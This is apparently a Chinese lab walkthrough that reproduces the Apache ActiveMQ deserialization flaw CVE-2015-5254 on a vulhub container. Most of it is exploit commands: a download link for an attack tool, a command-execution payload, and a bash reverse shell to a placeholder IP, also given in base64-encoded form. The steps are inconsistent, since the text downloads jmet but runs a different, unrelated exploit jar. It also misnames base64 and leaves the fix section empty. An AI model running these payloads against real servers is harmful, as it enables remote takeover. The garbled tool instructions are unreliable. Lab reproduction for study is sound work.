0x01 前言
--学如逆水行舟,不进则退
0x02 漏洞简介
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
0x03 环境搭建
这里复现的环境使用的vulhub靶场
cd /vulhub-master/activemq/CVE-2015-5254 //进入漏洞目录
docker-compose up -d //启动镜像
启动之后,访问ip:8161出现以下图片说明搭建成功
0x04 漏洞复现
漏洞利用工具下载地址
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
使用漏洞利用工具,执行想要执行的命令
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir qwe"
工具运行之后,访问靶机ip:8161/admin,出现以下页面,默认密码为admin,admin
登录进去之后,再次访问以下路径,会发现新建了一个名为event的队列,并发送了一条消息
靶机ip:8161/admin/browse.jsp?JMSDestination=event,如下图
点击这条信息,即可执行命令,现在来看看命令是否执行
docker ps //查看正在运行的容器
docker exec -it 容器id bash //进去容器
发现命令执行成功,创建一个名为qwe的文件夹
接下来反弹shell
反弹shell之前需要把反弹shell的命令进行base63编码,编码地址为:
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1122 0>&1
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
编码之后,使用漏洞利用工具,进行新建event的队列
命令如下(""之中为base64编码后的反弹shell的命令)
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMTEyMiAwPiYx}|{base64,-d}|{bash,-i}"
漏洞利用工具执行之后,还是访问之前那个路径
靶机ip:8161/admin/browse.jsp?JMSDestination=event
访问之后,会发现又新建了一个event的队列,点击之后,会发现反弹shell成功
0x05 漏洞修复
官网修复补丁